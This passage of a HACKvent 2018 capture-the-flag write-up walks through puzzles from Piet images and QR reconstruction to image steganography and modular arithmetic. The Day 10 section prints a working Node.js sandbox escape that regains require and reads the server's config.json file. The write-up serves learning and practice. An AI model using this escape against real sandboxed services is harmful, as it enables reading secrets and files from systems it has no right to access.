target=\"_new\">osintiscoolisntit.hackvent.org<\/a> yields the flag:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-964\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic13-1024x404.png\" alt=\"\" width=\"525\" height=\"207\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic13-1024x404.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic13-300x118.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic13-768x303.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic13.png 1181w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-0Sin-tI5S-R34l-lyC0-oo0L<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day06\">Day 06: Mondrian<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: xorkiwi<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Piet&#8217;er just opened his gallery to present his pieces to you, they&#8217;d make for a great present \ud83d\ude42<p><\/p>\n<p><\/p>\n<p><a href=\"https:\/\/hackvent.hacking-lab.com\/Mondrian-Gallery\/\" target=\"_new\">open gallery!<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The provided link leads to the Piet&#8217;ers Gallery showing 6 different pictures:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-965\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic14-1024x769.png\" alt=\"\" width=\"525\" height=\"394\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic14-1024x769.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic14-300x225.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic14-768x577.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic14.png 1181w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>If you have ever seen a picture like this before, it is easy to identify it as an input image for the esoteric programming language <a href=\"https:\/\/en.wikipedia.org\/wiki\/Esoteric_programming_language#Piet\" target=\"_new\">Piet<\/a>. The images can be interpretated for example on <a href=\"https:\/\/www.bertnase.de\/npiet\/npiet-execute.php\" target=\"_new\">npiet online<\/a>.<\/p>\n<p>Running the first image (<i>&#8220;House&#8221;<\/i>) yields the string <i>HV18<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-966\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic15-1024x612.png\" alt=\"\" width=\"750\" height=\"448\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic15-1024x612.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic15-300x179.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic15-768x459.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic15.png 1162w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>Respectively the other images produce the following output:<\/p>\n<p>Tree : M4ke<br>\nLake : S0m3<br>\nSky : R3Al<br>\nSheep: N1c3<br>\nSnake: artZ<\/p>\n<p>Concatenating those strings (inserting the separating dashes) results in the flag:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-M4ke-S0m3-R3Al-N1c3-artZ<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day07\">Day 07: flappy.pl<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: M.<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Time for a little game. It&#8217;s hardy obfuscated, i promise &#8230; \ud83d\ude09<p><\/p>\n<p><\/p>\n<p><a href=\"https:\/\/hackvent.hacking-lab.com\/flappy.pl.txt\" target=\"_new\">get flappy<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The provided file contains some obfuscated perl-code:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: perl; title: ; notranslate\" title=\"\">\nuse Term::ReadKey; sub k {ReadKey(-1)}; ReadMode 3;\nsub rk {$Q=&#039;&#039;;$Q.=$QQ while($QQ=k());$Q}; $|=1;\nprint &quot;\\ec\\e&#x5B;0;0r\\e&#x5B;4242;1H\\e&#x5B;6n\\e&#x5B;1;1H&quot;;\n($p .= $c) until (($c=k()) eq &#039;R&#039;); $x=75;$dx=3;\n(($yy) = ($p =~ \/(\\d+);\/))&amp;&amp;($yy-=10);\nprint ((&quot;\\r\\n\\e&#x5B;40m\\e&#x5B;37m#&quot;.(&#039; &#039;x78).&quot;#&quot;)x100);\n$r=(sub {$M=shift; sub {$M=(($M*0x41C64E6D)+12345)&amp;0x7FFFFFFF;$M%shift;}})\n-&gt;(42);$s=(sub {select($HV18, $faLL, $D33p, shift);});$INT0?$H3ll:$PERL;\n@HASH=unpack(&quot;C*&quot;,pack(&quot;H*&quot;,&#039;73740c12387652487105575346620e6c55655e1b4b6b6f541a6b2d7275&#039;));\nfor $i(0..666){$s-&gt;(0.1);print(&quot;\\e&#x5B;40;91m\\e&#x5B;${yy};${x}H.&quot;);\n$dx += int(rk() =~ \/ \/g)*2-1; $dx = ($dx&gt;3?3:($dx&lt;-3?-3:$dx));\n$x += $dx; ($x&gt;1&amp;&amp;$x&lt;80)||last;\n(($i%23)&amp;&amp;print (&quot;\\e&#x5B;4242;1H\\n\\e&#x5B;40m\\e&#x5B;37m#&quot;.(&#039; &#039;x78).&quot;#&quot;))||\n(($h=20+$r-&gt;(42))&amp;&amp;(print (&quot;\\e&#x5B;4242;1H\\n\\e&#x5B;40m\\e&#x5B;37m#&quot;.\n((chr($HASH&#x5B;$i\/23]^$h))x($h-5)).(&quot; &quot;x10).((chr($HASH&#x5B;$i\/23]^$h))x(73-$h)).&quot;#&quot;)));\n(($i+13)%23)?42:((abs($x-$h)&lt;6)||last);\nprint (&quot;\\e&#x5B;${yy};${x}H\\e&#x5B;41m\\e&#x5B;37m@&quot;);\n}; ReadMode 1;###################-EOF-flappy.pl###############\n<\/pre><\/div>\n\n<p>Running the file with perl turns out that this is a small flappy bird clone:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-967\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic16.png\" alt=\"\" width=\"825\" height=\"861\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic16.png 825w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic16-287x300.png 287w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic16-768x802.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>As can be seen in the screenshot above, the walls, which have to be passed by, obviously contain single letters of the flag.<\/p>\n<p>Since finshing the game until the last letter is displayed seems to be quite challenging, we should search a way to patch the perl-script to print all letters of the flag independent of your gaming skills.<\/p>\n<p>After playing around a little bit with the code, I figured out that it suffices to clear out the two <i>||last<\/i> statements within the for-loop since this is the game&#8217;s main-loop and the <i>last<\/i> statement aborts the execution of the loop if a wall is hit (like <i>break<\/i> in a lot of other languages).<\/p>\n<p>The adjusted part of the perl-code:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: perl; first-line: 11; title: ; notranslate\" title=\"\">\n...\n$x += $dx; ($x&gt;1&amp;&amp;$x&lt;80);\n...\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: perl; first-line: 15; title: ; notranslate\" title=\"\">\n...\n(($i+13)%23)?42:((abs($x-$h)&lt;6));\n...\n<\/pre><\/div>\n\n<p>With this little adjustment the program keeps running even if the wall is hit printing the whole flag:<\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-bMnF-racH-XdMC-xSJJ-I2fL<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day08\">Day 08: Advent Snail<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: otaku<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">In cyberstan there is a big tradition to backe advents snails during advent.<p><\/p>\n<p><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-968\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic17.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic17.png 500w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic17-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic17-300x300.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic17-100x100.png 100w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The provided image is obviously a messed up qr-code. The sticking point is how to rearrange the single dots to form a valid qr-code. Since the challenge&#8217;s title as well as the description mention the word <i>snail<\/i>, the qr-code can probably be reconstructed by reading the image in a spiral.<\/p>\n<p>In a qr-code of the size 25&#215;25 the first line should start with 7 black dots. Taking this into account we can start from the inner within the image wrapping up the qr-code:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-969\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic18.png\" alt=\"\" width=\"185\" height=\"185\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic18.png 185w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic18-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic18-100x100.png 100w\" sizes=\"(max-width: 185px) 100vw, 185px\" \/><\/p>\n<p>The only thing left to do is to write a python-script, which reads the image into a two-dimensional array and generates a new image printing out the dots in a spiral as displayed in the above image.<\/p>\n<p>The following quick-and-dirty python-script does this \ud83d\ude42<\/p>\n<p><i>Note: I read the pixels with a absolute offset from the following cutout of the original image:<\/i><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-970\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic19.png\" alt=\"\" width=\"185\" height=\"185\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic19.png 185w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic19-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic19-100x100.png 100w\" sizes=\"(max-width: 185px) 100vw, 185px\" \/>\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nfrom PIL import Image\n\ndots = &#x5B;16,22,29,35,42,48,54,60,67,74,80,86,92,99,106,111,118,124,131,138,143,150,156,162,170]\n\nimg = Image.open('4dv3ntSn4il2.png')\npix = img.load()\n\n# create two-dimensional array (0 = white, 1 = black)\narr = &#x5B;]\nfor y in dots:\n  arr.append(&#x5B;])\n  for x in dots:\n    if (pix&#x5B;x,y] == (0,0,0,255)): arr&#x5B;len(arr)-1].append(1)\n    else: arr&#x5B;len(arr)-1].append(0)\n\nim2 = Image.new(\"RGB\", (31,31), \"white\")\npix2 = im2.load()\n\n# we want to start in the center of the image\nx = 12\ny = 12\n\n# the inital step-size is 1\nstepSize = 1\n\n# we havn't done any steps yet\nsteps = 0\n\n# in each step we either go up (0,-1), down (0,1), left(-1,0) or right(1,0)\ndx = 0\ndy = -1\n\n# we want to store the final qr-code in the array 'out'\nout = &#x5B;]\n\n# there are 25 dots in each column\nfor i in range(25):\n  out.append(&#x5B;])\n  # also, there are 25 dots in each row\n  for j in range(25):\n    out&#x5B;i].append(arr&#x5B;y]&#x5B;x])\n    # 1 means we got a black pixel (the base-color of the image is white)\n    if (arr&#x5B;y]&#x5B;x] == 1): pix2&#x5B;j+3,i+3] = (0,0,0)\n    # take the next step\n    x += dx\n    y += dy\n    # we took the nex step\n    steps += 1\n    # already reached the step-size?\n    if (steps == stepSize):\n      # we moved on the y-axis: change direction, reset steps\n      if (dx == 0):\n        dx = -dy\n        dy = 0\n        steps = 0\n      # we moved on the x-axis: change direction, reset steps and increase step-size\n      else:\n        dy = dx\n        dx = 0\n        steps = 0\n        stepSize += 1\n\n# save final output to 'out.png'\nim2.save('out.png')\n<\/pre><\/div>\n\n<p>The resulting image (<i>out.png<\/i>) contains the valid qr-code:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-971\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic20.png\" alt=\"\" width=\"150\" height=\"150\"><\/p>\n<p>Scanning it yields the flag:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-$$nn-@@11-LLr0-B1ne<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day09\">Day 09: fake xmass balls<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: M.<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">A rogue manufacturer is flooding the market with counterfeit yellow xmas balls.They are popping up like everywhere!<p><\/p>\n<p><\/p>\n<p>Can you tell them apart from the real ones? Perhaps there is some useful information hidden in the fakes&#8230;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-972\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium-64-fake.png\" alt=\"\" width=\"64\" height=\"64\"><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>We basically got two images. The original <i>medium_64.png<\/i> at <i>https:\/\/hackvent.hacking-lab.com\/img\/medium_64.png<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/p>\n<p>As well as the <i>fake medium_64.png<\/i> from the challenge at <i>https:\/\/hackvent.hacking-lab.com\/medium-64.png<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-972\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium-64-fake.png\" alt=\"\" width=\"64\" height=\"64\"><\/p>\n<p>I started by comparing the filestructure of both images using <i>exiftool<\/i>, <i>pngcheck<\/i> and <i>binwalk<\/i>. Although they differ, it did not seem like there are hidden any useful information.<\/p>\n<p>At next I compared the actual RGBA-values of each pixel using the following python script:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day09# cat compare.py\n#!\/usr\/bin\/env python\n\nfrom PIL import Image\n\nim = Image.open('medium-64-fake.png')\npx = im.load()\n\nim2 = Image.open('medium_64.png')\npx2 = im2.load()\n\nfor i in range(64):\n  for j in range(64):\n    r = px&#x5B;i,j]&#x5B;0] - px2&#x5B;i,j]&#x5B;0]\n    g = px&#x5B;i,j]&#x5B;1] - px2&#x5B;i,j]&#x5B;1]\n    b = px&#x5B;i,j]&#x5B;2] - px2&#x5B;i,j]&#x5B;2]\n    a = px&#x5B;i,j]&#x5B;3] - px2&#x5B;i,j]&#x5B;3]\n    if (r != 0): print(\"R-value differs (\"+str(r)+\") at &#x5B;\"+str(i)+\",\"+str(j)+\"]\")\n    if (g != 0): print(\"G-value differs (\"+str(g)+\") at &#x5B;\"+str(i)+\",\"+str(j)+\"]\")\n    if (b != 0): print(\"B-value differs (\"+str(b)+\") at &#x5B;\"+str(i)+\",\"+str(j)+\"]\")\n    if (a != 0): print(\"A-value differs (\"+str(a)+\") at &#x5B;\"+str(i)+\",\"+str(j)+\"]\")\n<\/pre><\/div>\n\n<p>Running the script &#8230;.\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day09# .\/compare.py\nG-value differs (1) at &#x5B;20,27]\nG-value differs (-1) at &#x5B;20,29]\nG-value differs (-1) at &#x5B;20,32]\nG-value differs (1) at &#x5B;20,33]\nG-value differs (1) at &#x5B;20,34]\nG-value differs (1) at &#x5B;20,36]\nG-value differs (-1) at &#x5B;20,37]\nG-value differs (-1) at &#x5B;21,21]\nG-value differs (1) at &#x5B;21,22]\nG-value differs (-1) at &#x5B;21,23]\nG-value differs (-1) at &#x5B;21,24]\nG-value differs (-1) at &#x5B;21,25]\nG-value differs (1) at &#x5B;21,27]\n...\n<\/pre><\/div>\n\n<p>&#8230; revealed that only the G-value differs by one (+1\/-1) in 313 pixels.<\/p>\n<p>That&#8217;s probably not a coincidence. So let&#8217;s simply create a new image highlighting those pixels by setting them to black:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; highlight: [12,13,17,18,20]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day09# cat genImage.py\n#!\/usr\/bin\/env python\n\nfrom PIL import Image\n\nim = Image.open('medium-64-fake.png')\npx = im.load()\n\nim2 = Image.open('medium_64.png')\npx2 = im2.load()\n\nim3 = Image.new('RGB', (64,64), 'white')\npx3 = im3.load()\n\nfor i in range(64):\n  for j in range(64):\n    g = px&#x5B;i,j]&#x5B;1] - px2&#x5B;i,j]&#x5B;1]\n    if (g == 0): px3&#x5B;i,j] = (0,0,0)\n\nim3.save('out.png')\n<\/pre><\/div>\n\n<p>The resulting image (<i>out.png<\/i>) is a qr-code:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-973\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic21.png\" alt=\"\" width=\"200\" height=\"200\"><\/p>\n<p>To get rid of the black border around the qr-code we adjust the condition a little bit:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 17; title: ; notranslate\" title=\"\">\n...\n    if (g == 0 and i&gt;19 and i&lt;45 and j&gt;19 and j&lt;45): px3&#x5B;i,j] = (0,0,0)\n...\n<\/pre><\/div>\n\n<p>Now we get a smooth qr-code which can be scanned properly:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-974\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic22.png\" alt=\"\" width=\"200\" height=\"200\"><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-PpTR-Qri5-3nOI-n51a-42gJ<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day10\">Day 10: &gt;_ Run, Node, Run<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: zanidd<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Santa has practiced his nodejs skills and wants his little elves to practice it as well, so the kids can get the web- app they wish for.<p><\/p>\n<p><\/p>\n<p>He made a little practice- sandbox for his elves. Can you break out?<\/p>\n<p>Location: <a href=\"http:\/\/whale.hacking-lab.com:3000\/\" target=\"_new\">http:\/\/whale.hacking-lab.com:3000\/<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The provided link leads to the following website:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-975\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic23.png\" alt=\"\" width=\"853\" height=\"695\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic23.png 853w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic23-300x244.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic23-768x626.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The <i>See the code!<\/i> link at the bottom of the page shows the source code of the nodejs-application:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; highlight: [1,17]; title: ; notranslate\" title=\"\">\nconst {flag, port} = require(&quot;.\/config.json&quot;);\nconst sandbox = require(&quot;sandbox&quot;);\nconst app = require(&quot;express&quot;)();\n\napp.use(require(&#039;body-parser&#039;).urlencoded({ extended: false }));\n\napp.get(&quot;\/&quot;, (req, res) =&gt; res.sendFile(__dirname+&quot;\/index.html&quot;));\napp.get(&quot;\/code&quot;, (req, res) =&gt; res.sendFile(__filename));\n\napp.post(&quot;\/run&quot;, (req, res) =&gt; {\n\n  if (!req.body.run) {\n    res.json({success: false, result: &quot;No code provided&quot;});\n    return;\n  }\n\n  let boiler = &quot;const flag_&quot; + require(&quot;randomstring&quot;).generate(64) + &quot;=\\&quot;&quot; + flag + &quot;\\&quot;;\\n&quot;;\n\n  new sandbox().run(boiler + req.body.run, (out) =&gt; res.json({success: true, result: out.result}));\n\n});\n\napp.listen(port);\n<\/pre><\/div>\n\n<p>The flag is read into a const variable called <i>flag<\/i> from the file <i>.\/config.json<\/i> (line 1).<\/p>\n<p>The flag variable is then used to build up a string (<i>boiler<\/i>) assigning the content of it to a variable called <i>flag_<\/i> followed by 64 random-characters (line 17). This string is passed along with <i>req.body.run<\/i> (which contains the code we can entered in the textarea on the website) to the <i>run<\/i> method of the sandbox.<\/p>\n<p>Since the name of the <i>flag_???<\/i> variable is generated randomly it cannot be referenced directly. So I started by trying to print the global scope containing the variable. This did not succeed, because it is a const variable, which is not added to <i>this<\/i> as it would have been the case if it was defined as <i>flag_??? = flag;<\/i>. A quick example shows the problem:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nInput: x = 3;this\nOutput: { console: {}, process: { stdout: {} }, x: 3 }  \/\/ this contains 'x'\n\nInput: const x = 3;this\nOutput: { console: {}, process: { stdout: {} } }        \/\/ this does NOT contain 'x'\n<\/pre><\/div>\n\n<p>As I did not find a way to read the <i>flag_???<\/i> variable this way, I started googling for escaping nodejs sandboxes and stumbled upon the following link: <a href=\"https:\/\/github.com\/patriksimek\/vm2\/issues\/32\" target=\"_new\">https:\/\/github.com\/patriksimek\/vm2\/issues\/32<\/a>.<\/p>\n<p>The second post proposes the following code to renable the require-statement, which is not suposed to be working in the sandbox:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nconst ForeignFunction = this.constructor.constructor;\nconst process1 = ForeignFunction(\"return process\")();\nconst require1 = process1.mainModule.require;\n...\n<\/pre><\/div>\n\n<p>Using this we can easily print the contents of the file <i>.\/config.json<\/i>, which contains the flag:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nconst require1 = ((this.constructor.constructor)(\"return process\")()).mainModule.require;\nrequire1(\".\/config.json\");\n<\/pre><\/div>\n\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-976\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic24.png\" alt=\"\" width=\"853\" height=\"695\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic24.png 853w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic24-300x244.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic24-768x626.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-YtH3-S4nD-bx5A-Nt4G<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day11\">Day 11: Crypt-o-Math 3.0<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: Lukasz_D<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Last year&#8217;s challenge was too easy? Try to solve this one, you h4x0r!<p><\/p>\n<p><\/p>\n<p>c = (a * b) % p<br>\nc=0x7E65D68F84862CEA3FCC15B966767CCAED530B87FC4061517A1497A03D2<br>\np=0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9<br>\nb=0x7BBE3A50F28B2BA511A860A0A32AD71D4B5B93A8AE295E83350E68B57E5<\/p>\n<p>finding &#8220;a&#8221; will give you the flag.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The task is basically similar to the <i>Crypt-o-Math 2.0<\/i> challenge from last year (<a href=\"https:\/\/devel0pment.de\/?p=175#day11\" target=\"_new\">HACKvent17 Day11<\/a>).<\/p>\n<p>Similar to last year the equation can for example be solved by using an online equation solver like <a href=\" https:\/\/www.dcode.fr\/modular-equation-solver\" target=\"_new\"> https:\/\/www.dcode.fr\/modular-equation-solver<\/a>. Another way is to use <i>gmpy2<\/i> for python (see solution from <i>mcia<\/i> in the <a href=\"https:\/\/www.hacking-lab.com\/export\/sites\/www.hacking-lab.com\/references\/hackvent2017\/HACKvent-2017-Summary.pdf\" target=\"_new\">offical writeup for HACKvent2017<\/a>):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day11# cat h.py \n#!\/usr\/bin\/env python\n\nimport gmpy2\n\nc = 0x7E65D68F84862CEA3FCC15B966767CCAED530B87FC4061517A1497A03D2\np = 0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9\nb = 0x7BBE3A50F28B2BA511A860A0A32AD71D4B5B93A8AE295E83350E68B57E5\n\ninv = gmpy2.invert(b,p)\na = c * inv % p\n\nprint(a)\nprint(hex(a))\na = hex(a).lstrip(\"0x\")\nprint(str(a).decode('hex'))\n<\/pre><\/div>\n\n<p>Running the script:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day11# .\/solveEquation.py \n31203092237148810178812127507761703323636375061497699755717548622982799\n0x485631382d4288bb2cdf615fc4576b25ba2ee4c74f5e8598ba6bbdfae8f\nTraceback (most recent call last):\n  File \".\/h.py\", line 16, in \n    print(str(a).decode('hex'))\n  File \"\/usr\/lib\/python2.7\/encodings\/hex_codec.py\", line 42, in hex_decode\n    output = binascii.a2b_hex(input)\nTypeError: Odd-length string\n<\/pre><\/div>\n\n<p>Huh? The resulting value for <i>a<\/i> obviously begins with <i>&#8216;HV18-&#8216; (0x485631382d)<\/i>, but its length is odd. Also the following hex-values after <i>&#8216;HV18-&#8216;<\/i> does not really make sense: <i>..4288bb2cdf = ..B\\x88\\xbb,\\df<\/i>. Let&#8217;s reconsider the equation:\n<\/p>\n<pre>c = (a * b) % p<\/pre>\n<p>Obviously there are more solutions for <i>a<\/i> to fulfill 